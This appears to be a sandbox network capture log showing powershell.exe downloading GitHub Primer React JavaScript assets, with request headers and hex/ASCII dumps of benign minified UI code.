2024-09-30 13:50:37 UTC	1378	IN	Data Raw: 69 73 61 62 6c 65 64 5d 29 3a 6e 6f 74 28 5b 64 61 74 61 2d 69 6e 61 63 74 69 76 65 5d 29 22 3a 7b 63 6f 6c 6f 72 3a 22 62 74 6e 2e 6f 75 74 6c 69 6e 65 2e 73 65 6c 65 63 74 65 64 54 65 78 74 22 2c 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3a 22 62 74 6e 2e 6f 75 74 6c 69 6e 65 2e 73 65 6c 65 63 74 65 64 42 67 22 2c 62 6f 78 53 68 61 64 6f 77 3a 60 24 7b 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 68 61 64 6f 77 73 2e 62 74 6e 2e 6f 75 74 6c 69 6e 65 2e 73 65 6c 65 63 74 65 64 53 68 61 64 6f 77 7d 60 2c 62 6f 72 64 65 72 43 6f 6c 6f 72 3a 60 24 7b 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 6f 6c 6f 72 73 2e 62 74 6e 2e 6f 75 74 6c 69 6e 65 2e 73 65 6c 65 63 74 65 64 42 6f 72 64 65 72 7d 60 7d 2c 22 26 3a 64 69 73 61 62 6c 65 64 22 Data Ascii: isabled]):not([data-inactive])":{color:"btn.outline.selectedText",backgroundColor:"btn.outline.selectedBg",boxShadow:`${null==t?void 0:t.shadows.btn.outline.selectedShadow}`,borderColor:`${null==t?void 0:t.colors.btn.outline.selectedBorder}`},"&:disabled"
2024-09-30 13:50:37 UTC	1378	IN	Data Raw: 70 3d 65 3d 3e 28 7b 62 6f 72 64 65 72 52 61 64 69 75 73 3a 22 32 22 2c 62 6f 72 64 65 72 3a 22 31 70 78 20 73 6f 6c 69 64 22 2c 62 6f 72 64 65 72 43 6f 6c 6f 72 3a 60 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 72 65 73 74 2c 20 24 7b 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 63 6f 6c 6f 72 73 2e 62 74 6e 2e 62 6f 72 64 65 72 7d 29 60 2c 66 6f 6e 74 46 61 6d 69 6c 79 3a 22 69 6e 68 65 72 69 74 22 2c 66 6f 6e 74 57 65 69 67 68 74 3a 22 73 65 6d 69 62 6f 6c 64 22 2c 66 6f 6e 74 53 69 7a 65 3a 22 31 22 2c 63 75 72 73 6f 72 3a 22 70 6f 69 6e 74 65 72 22 2c 61 70 70 65 61 72 61 6e 63 65 3a 22 6e 6f 6e 65 22 2c 75 73 65 72 53 65 6c 65 63 74 3a 22 6e 6f 6e 65 22 2c 74 65 78 74 44 65 63 6f 72 61 74 Data Ascii: p=e=>({borderRadius:"2",border:"1px solid",borderColor:`var(--button-default-borderColor-rest, ${null==e?void 0:e.colors.btn.border})`,fontFamily:"inherit",fontWeight:"semibold",fontSize:"1",cursor:"pointer",appearance:"none",userSelect:"none",textDecorat
2024-09-30 13:50:37 UTC	1378	IN	Data Raw: 74 61 2d 63 6f 6d 70 6f 6e 65 6e 74 3d 22 62 75 74 74 6f 6e 43 6f 6e 74 65 6e 74 22 5d 20 3e 20 3a 6e 6f 74 28 3a 6c 61 73 74 2d 63 68 69 6c 64 29 27 3a 7b 6d 72 3a 22 38 70 78 22 7d 2c 22 26 5b 64 61 74 61 2d 63 6f 6d 70 6f 6e 65 6e 74 3d 49 63 6f 6e 42 75 74 74 6f 6e 5d 22 3a 7b 77 69 64 74 68 3a 22 34 30 70 78 22 2c 70 61 64 64 69 6e 67 3a 22 75 6e 73 65 74 22 7d 7d 7d 29 2c 68 3d 65 3d 3e 28 7b 2e 2e 2e 70 28 65 29 2c 27 26 5b 64 61 74 61 2d 62 6c 6f 63 6b 3d 22 62 6c 6f 63 6b 22 5d 27 3a 7b 77 69 64 74 68 3a 22 31 30 30 25 22 7d 2c 27 26 5b 64 61 74 61 2d 6c 61 62 65 6c 2d 77 72 61 70 3d 22 74 72 75 65 22 5d 27 3a 7b 6d 69 6e 57 69 64 74 68 3a 22 66 69 74 2d 63 6f 6e 74 65 6e 74 22 2c 68 65 69 67 68 74 3a 22 75 6e 73 65 74 22 2c 6d 69 6e 48 65 69 67 Data Ascii: ta-component="buttonContent"] > :not(:last-child)':{mr:"8px"},"&[data-component=IconButton]":{width:"40px",padding:"unset"}}}),h=e=>({...p(e),'&[data-block="block"]':{width:"100%"},'&[data-label-wrap="true"]':{minWidth:"fit-content",height:"unset",minHeig
2024-09-30 13:50:37 UTC	1378	IN	Data Raw: 61 3a 22 6c 65 61 64 69 6e 67 56 69 73 75 61 6c 22 7d 2c 27 5b 64 61 74 61 2d 63 6f 6d 70 6f 6e 65 6e 74 3d 22 74 65 78 74 22 5d 27 3a 7b 67 72 69 64 41 72 65 61 3a 22 74 65 78 74 22 2c 6c 69 6e 65 48 65 69 67 68 74 3a 22 31 2e 34 32 38 35 37 31 34 22 2c 77 68 69 74 65 53 70 61 63 65 3a 22 6e 6f 77 72 61 70 22 7d 2c 27 5b 64 61 74 61 2d 63 6f 6d 70 6f 6e 65 6e 74 3d 22 74 72 61 69 6c 69 6e 67 56 69 73 75 61 6c 22 5d 27 3a 7b 67 72 69 64 41 72 65 61 3a 22 74 72 61 69 6c 69 6e 67 56 69 73 75 61 6c 22 7d 2c 27 5b 64 61 74 61 2d 63 6f 6d 70 6f 6e 65 6e 74 3d 22 74 72 61 69 6c 69 6e 67 41 63 74 69 6f 6e 22 5d 27 3a 7b 6d 61 72 67 69 6e 52 69 67 68 74 3a 22 2d 34 70 78 22 7d 2c 27 5b 64 61 74 61 2d 63 6f 6d 70 6f 6e 65 6e 74 3d 22 62 75 74 74 6f 6e 43 6f 6e 74 Data Ascii: a:"leadingVisual"},'[data-component="text"]':{gridArea:"text",lineHeight:"1.4285714",whiteSpace:"nowrap"},'[data-component="trailingVisual"]':{gridArea:"trailingVisual"},'[data-component="trailingAction"]':{marginRight:"-4px"},'[data-component="buttonCont
2024-09-30 13:50:37 UTC	1378	IN	Data Raw: 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 2c 7b 22 64 61 74 61 2d 63 6f 6d 70 6f 6e 65 6e 74 22 3a 6e 2c 63 6c 61 73 73 4e 61 6d 65 3a 28 30 2c 6b 2e 24 29 28 21 61 26 26 45 2e 41 2e 56 69 73 75 61 6c 2c 74 3f 45 2e 41 2e 6c 6f 61 64 69 6e 67 53 70 69 6e 6e 65 72 3a 45 2e 41 2e 56 69 73 75 61 6c 57 72 61 70 29 7d 2c 74 3f 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 43 2e 41 2c 7b 73 69 7a 65 3a 22 73 6d 61 6c 6c 22 7d 29 3a 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 65 2c 6e 75 6c 6c 29 29 3b 56 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 72 65 6e 64 65 72 4d 6f 64 75 6c 65 56 69 73 75 61 6c 22 3b 6c 65 74 20 57 3d 28 30 2c 6f 2e 66 6f 72 77 61 72 64 52 65 66 29 28 28 7b 63 68 69 6c 64 72 65 6e 3a 65 2c 61 73 3a 74 3d 22 62 75 74 74 6f Data Ascii: eateElement("span",{"data-component":n,className:(0,k.$)(!a&&E.A.Visual,t?E.A.loadingSpinner:E.A.VisualWrap)},t?o.createElement(C.A,{size:"small"}):o.createElement(e,null));V.displayName="renderModuleVisual";let W=(0,o.forwardRef)(({children:e,as:t="butto

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49772	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:37 UTC	412	OUT	GET /assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_js-e39b44f27fbb.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:38 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 14942 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Tue, 24 Sep 2024 11:31:32 GMT ETag: "0x8DCDC8C70B4329E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 520785 Date: Mon, 30 Sep 2024 13:50:37 GMT X-Served-By: cache-iad-kcgs7200021-IAD, cache-nyc-kteb1890070-NYC X-Cache: HIT, HIT X-Cache-Hits: 97, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: cd367e283249f0033ce26ad4af5551e8572354fe
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 72 65 61 63 74 5f 6c 69 62 2d 65 73 6d 5f 54 6f 6f 6c 74 69 70 56 32 5f 54 6f 6f 6c 74 69 70 5f 6a 73 22 5d 2c 7b 33 32 37 39 39 3a 28 65 2c 74 2c 6f 29 3d 3e 7b 6f 2e 64 28 74 2c 7b 6d 3a 28 29 3d 3e 51 2c 6c 3a 28 29 3d 3e 4b 7d 29 3b 76 61 72 20 6e 3d 6f 28 39 36 35 34 30 29 2c 72 3d 6f 28 34 34 39 39 39 29 2c 69 3d 6f 28 38 31 34 32 35 29 2c 61 3d 6f 28 37 37 33 39 33 29 2c 6c 3d 6f 28 36 39 36 37 36 29 2c 73 3d 6f 28 33 32 39 34 37 29 2c 70 3d 6f Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_js"],{32799:(e,t,o)=>{o.d(t,{m:()=>Q,l:()=>K});var n=o(96540),r=o(44999),i=o(81425),a=o(77393),l=o(69676),s=o(32947),p=o
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 69 6e 73 74 61 6e 63 65 6f 66 20 68 26 26 28 65 3d 65 2e 68 6f 73 74 29 2c 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 6f 63 75 6d 65 6e 74 29 72 65 74 75 72 6e 7d 7d 76 61 72 20 41 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 69 66 28 21 54 28 65 2c 21 31 29 29 72 65 74 75 72 6e 3b 6c 65 74 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 69 66 28 21 65 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 64 28 22 62 65 66 6f 72 65 74 6f 67 67 6c 65 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 2c 6f 6c 64 53 74 61 74 65 3a 22 63 6c 6f 73 65 64 22 2c 6e 65 77 53 74 61 74 65 3a 22 6f 70 65 6e 22 7d 29 29 7c 7c 21 54 28 65 2c 21 31 29 29 72 65 74 75 72 6e 3b 6c 65 74 20 6f 3d 21 31 3b 69 66 28 22 61 75 74 6f Data Ascii: instanceof h&&(e=e.host),e instanceof Document)return}}var A=new WeakMap;function x(e){if(!T(e,!1))return;let t=e.ownerDocument;if(!e.dispatchEvent(new d("beforetoggle",{cancelable:!0,oldState:"closed",newState:"open"}))\|\|!T(e,!1))return;let o=!1;if("auto
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 4f 70 74 69 6f 6e 45 6c 65 6d 65 6e 74 7c 7c 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 46 69 65 6c 64 53 65 74 45 6c 65 6d 65 6e 74 29 26 26 69 2e 64 69 73 61 62 6c 65 64 7c 7c 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 26 26 22 68 69 64 64 65 6e 22 3d 3d 3d 69 2e 74 79 70 65 7c 7c 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 41 6e 63 68 6f 72 45 6c 65 6d 65 6e 74 26 26 22 22 3d 3d 3d 69 2e 68 72 65 66 29 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 69 2e 74 61 62 49 6e 64 65 78 26 26 2d 31 21 3d 3d 69 2e 74 61 62 49 6e 64 65 78 29 72 65 74 75 72 6e 20 72 3b 72 3d 6e 2e 6e 65 78 74 4e 6f 64 65 28 29 7d 7d 29 28 65 29 3f 2e 66 6f 63 75 73 28 Data Ascii: instanceof HTMLOptionElement\|\|i instanceof HTMLFieldSetElement)&&i.disabled\|\|i instanceof HTMLInputElement&&"hidden"===i.type\|\|i instanceof HTMLAnchorElement&&""===i.href)&&"number"==typeof i.tabIndex&&-1!==i.tabIndex)return r;r=n.nextNode()}})(e)?.focus(
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 65 3d 65 2e 68 6f 73 74 29 2c 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 6f 63 75 6d 65 6e 74 29 72 65 74 75 72 6e 7d 7d 28 65 29 3b 72 65 74 75 72 6e 20 4d 28 74 29 3e 4d 28 6f 29 3f 74 3a 6f 7d 28 74 29 3b 69 66 28 6e 26 26 22 70 6f 69 6e 74 65 72 64 6f 77 6e 22 3d 3d 3d 65 2e 74 79 70 65 29 43 2e 73 65 74 28 6f 2c 6e 29 3b 65 6c 73 65 20 69 66 28 22 70 6f 69 6e 74 65 72 75 70 22 3d 3d 3d 65 2e 74 79 70 65 29 7b 6c 65 74 20 65 3d 43 2e 67 65 74 28 6f 29 3d 3d 3d 6e 3b 43 2e 64 65 6c 65 74 65 28 6f 29 2c 65 26 26 50 28 6e 7c 7c 6f 2c 21 31 2c 21 30 29 7d 7d 76 61 72 20 52 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 74 3d 21 31 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 3b 52 2e 68 61 73 28 65 29 7c 7c 52 2e 73 65 74 28 65 Data Ascii: e=e.host),e instanceof Document)return}}(e);return M(t)>M(o)?t:o}(t);if(n&&"pointerdown"===e.type)C.set(o,n);else if("pointerup"===e.type){let e=C.get(o)===n;C.delete(o),e&&P(n\|\|o,!1,!0)}}var R=new WeakMap;function N(e,t=!1){if(!e)return;R.has(e)\|\|R.set(e
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 6f 70 6f 76 65 72 2d 6f 70 65 6e 29 20 7b 0a 20 20 20 20 69 6e 73 65 74 3a 20 61 75 74 6f 3b 0a 20 20 7d 0a 0a 20 20 3a 77 68 65 72 65 28 5b 61 6e 63 68 6f 72 5d 3a 70 6f 70 6f 76 65 72 2d 6f 70 65 6e 29 20 7b 0a 20 20 20 20 69 6e 73 65 74 3a 20 61 75 74 6f 3b 0a 20 20 7d 0a 0a 20 20 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 63 61 6e 76 61 73 29 20 7b 0a 20 20 20 20 3a 77 68 65 72 65 28 5b 70 6f 70 6f 76 65 72 5d 29 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 0a 20 20 40 73 75 70 70 6f 72 74 73 20 28 77 69 64 74 68 3a 20 2d 6d 6f 7a 2d 66 69 74 2d 63 6f Data Ascii: opover-open) { inset: auto; } :where([anchor]:popover-open) { inset: auto; } @supports not (background-color: canvas) { :where([popover]) { background-color: white; color: black; } } @supports (width: -moz-fit-co
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 2d 73 6d 6f 6f 74 68 69 6e 67 3a 73 75 62 70 69 78 65 6c 2d 61 6e 74 69 61 6c 69 61 73 65 64 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 74 6f 6f 6c 74 69 70 2d 66 67 43 6f 6c 6f 72 2c 22 2c 22 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 74 6f 6f 6c 74 69 70 2d 62 67 43 6f 6c 6f 72 2c 22 2c 22 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 22 2c 22 3b 62 6f 72 64 65 72 3a 30 3b 6f 70 61 63 69 74 79 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 32 35 30 70 78 3b 69 6e 73 65 74 3a 61 75 74 6f 3b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 3b 7d 26 5b 70 6f 70 6f 76 65 72 5d 3a 70 6f 70 6f 76 65 72 2d 6f 70 65 6e 7b 64 69 73 70 6c 61 79 Data Ascii: -smoothing:subpixel-antialiased;color:var(--tooltip-fgColor,",");text-align:center;word-wrap:break-word;background:var(--tooltip-bgColor,",");border-radius:",";border:0;opacity:0;max-width:250px;inset:auto;overflow:visible;}&[popover]:popover-open{display
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 22 2c 61 6c 69 67 6e 3a 22 73 74 61 72 74 22 7d 2c 73 3a 7b 73 69 64 65 3a 22 6f 75 74 73 69 64 65 2d 62 6f 74 74 6f 6d 22 2c 61 6c 69 67 6e 3a 22 63 65 6e 74 65 72 22 7d 2c 73 77 3a 7b 73 69 64 65 3a 22 6f 75 74 73 69 64 65 2d 62 6f 74 74 6f 6d 22 2c 61 6c 69 67 6e 3a 22 65 6e 64 22 7d 2c 77 3a 7b 73 69 64 65 3a 22 6f 75 74 73 69 64 65 2d 6c 65 66 74 22 2c 61 6c 69 67 6e 3a 22 63 65 6e 74 65 72 22 7d 7d 2c 4a 3d 7b 22 6f 75 74 73 69 64 65 2d 74 6f 70 2d 65 6e 64 22 3a 22 6e 77 22 2c 22 6f 75 74 73 69 64 65 2d 74 6f 70 2d 63 65 6e 74 65 72 22 3a 22 6e 22 2c 22 6f 75 74 73 69 64 65 2d 74 6f 70 2d 73 74 61 72 74 22 3a 22 6e 65 22 2c 22 6f 75 74 73 69 64 65 2d 72 69 67 68 74 2d 63 65 6e 74 65 72 22 3a 22 65 22 2c 22 6f 75 74 73 69 64 65 2d 62 6f 74 74 6f 6d Data Ascii: ",align:"start"},s:{side:"outside-bottom",align:"center"},sw:{side:"outside-bottom",align:"end"},w:{side:"outside-left",align:"center"}},J={"outside-top-end":"nw","outside-top-center":"n","outside-top-start":"ne","outside-right-center":"e","outside-bottom
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 47 28 65 29 29 3b 65 7c 7c 74 7c 7c 28 30 2c 70 2e 56 29 28 21 31 29 2c 22 6c 61 62 65 6c 22 3d 3d 3d 6f 26 26 28 76 2e 63 75 72 72 65 6e 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 22 29 2c 41 72 72 61 79 2e 66 72 6f 6d 28 76 2e 63 75 72 72 65 6e 74 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2e 73 6f 6d 65 28 65 3d 3e 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 65 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 22 29 29 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 Data Ascii: nstanceof HTMLElement&&G(e));e\|\|t\|\|(0,p.V)(!1),"label"===o&&(v.current.hasAttribute("aria-label"),Array.from(v.current.childNodes).some(e=>e instanceof HTMLElement&&e.hasAttribute("aria-label"))),"undefined"==typeof window\|\|"undefined"!=typeof HTMLElement
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 3d 3d 3d 65 29 26 26 78 28 74 68 69 73 29 7d 7d 7d 29 3b 6c 65 74 20 6f 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 61 74 74 61 63 68 53 68 61 64 6f 77 3b 6f 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 61 74 74 61 63 68 53 68 61 64 6f 77 3a 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 28 65 29 7b 6c 65 74 20 74 3d 6f 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 3b 72 65 74 75 72 6e 20 71 28 74 29 2c 74 7d 7d 7d 29 3b 6c 65 74 20 6e 3d 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 61 74 74 61 63 68 49 6e 74 65 72 6e 61 6c 73 3b 6e 26 26 4f 62 Data Ascii: ===e)&&x(this)}}});let o=Element.prototype.attachShadow;o&&Object.defineProperties(Element.prototype,{attachShadow:{enumerable:!0,configurable:!0,writable:!0,value(e){let t=o.call(this,e);return q(t),t}}});let n=HTMLElement.prototype.attachInternals;n&&Ob
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 74 28 65 29 7b 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 70 6f 70 6f 76 65 72 74 61 72 67 65 74 61 63 74 69 6f 6e 22 2c 65 29 7d 7d 7d 29 7d 69 28 48 54 4d 4c 42 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 29 2c 69 28 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 29 2c 28 65 3d 64 6f 63 75 6d 65 6e 74 29 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 65 3d 3e 7b 6c 65 74 20 74 3d 65 2e 63 6f 6d 70 6f 73 65 64 50 61 74 68 28 29 2c 6f 3d 74 5b 30 5d 3b 69 66 28 21 28 6f 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6c 65 6d 65 6e 74 29 7c 7c 6f 3f 2e 73 68 61 64 6f 77 52 6f 6f 74 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3d 6b 28 6f 29 3b 69 66 28 21 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 6a 7c 7c 6e 20 69 6e 73 74 61 6e 63 Data Ascii: t(e){this.setAttribute("popovertargetaction",e)}}})}i(HTMLButtonElement),i(HTMLInputElement),(e=document).addEventListener("click",e=>{let t=e.composedPath(),o=t[0];if(!(o instanceof Element)\|\|o?.shadowRoot)return;let n=k(o);if(!(n instanceof j\|\|n instanc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49773	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:38 UTC	411	OUT	GET /assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js-540a2acf621f.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:38 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 25291 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Tue, 24 Sep 2024 16:15:08 GMT ETag: "0x8DCDCB40EC8849E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 500669 Date: Mon, 30 Sep 2024 13:50:38 GMT X-Served-By: cache-iad-kjyo7100061-IAD, cache-nyc-kteb1890072-NYC X-Cache: HIT, HIT X-Cache-Hits: 158, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: b55412a3bf489ee3470d2607d021fea5bb268925
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 72 65 61 63 74 5f 6c 69 62 2d 65 73 6d 5f 41 63 74 69 6f 6e 4c 69 73 74 5f 69 6e 64 65 78 5f 6a 73 22 5d 2c 7b 39 37 33 30 31 3a 28 65 2c 74 2c 69 29 3d 3e 7b 69 2e 64 28 74 2c 7b 64 3a 28 29 3d 3e 6e 7d 29 3b 6c 65 74 20 6e 3d 69 28 39 36 35 34 30 29 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 7b 7d 29 7d 2c 38 34 30 37 32 3a 28 65 2c 74 2c 69 29 3d 3e 7b 69 2e 64 28 74 2c 7b 63 3a 28 29 3d 3e 64 7d 29 3b 76 61 72 20 6e 3d 69 28 39 36 35 34 30 29 2c Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_react_lib-esm_ActionList_index_js"],{97301:(e,t,i)=>{i.d(t,{d:()=>n});let n=i(96540).createContext({})},84072:(e,t,i)=>{i.d(t,{c:()=>d});var n=i(96540),
2024-09-30 13:50:38 UTC	1378	IN	Data Raw: 72 74 79 2e 63 61 6c 6c 28 69 2c 6e 29 26 26 28 65 5b 6e 5d 3d 69 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 65 7d 29 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 6c 65 74 20 77 3d 28 30 2c 6e 2e 66 6f 72 77 61 72 64 52 65 66 29 28 28 7b 61 73 3a 65 2c 63 68 69 6c 64 72 65 6e 3a 74 2c 73 78 3a 69 3d 6c 2e 45 2c 76 69 73 75 61 6c 6c 79 48 69 64 64 65 6e 3a 61 3d 21 31 2c 2e 2e 2e 6f 7d 2c 64 29 3d 3e 7b 76 61 72 20 73 3b 6c 65 74 20 70 3d 6e 2e 75 73 65 52 65 66 28 6e 75 6c 6c 29 3b 28 30 2c 75 2e 54 29 28 64 2c 70 29 3b 6c 65 74 7b 68 65 61 64 69 6e 67 49 64 3a 67 2c 76 61 72 69 61 6e 74 3a 66 7d 3d 6e 2e 75 73 65 43 6f 6e 74 65 78 74 28 62 29 2c 7b 63 6f 6e 74 61 69 6e 65 72 3a 76 7d 3d 6e 2e 75 73 65 43 6f 6e 74 65 78 74 28 72 2e 64 29 Data Ascii: rty.call(i,n)&&(e[n]=i[n])}return e}).apply(null,arguments)}let w=(0,n.forwardRef)(({as:e,children:t,sx:i=l.E,visuallyHidden:a=!1,...o},d)=>{var s;let p=n.useRef(null);(0,u.T)(d,p);let{headingId:g,variant:f}=n.useContext(b),{container:v}=n.useContext(r.d)
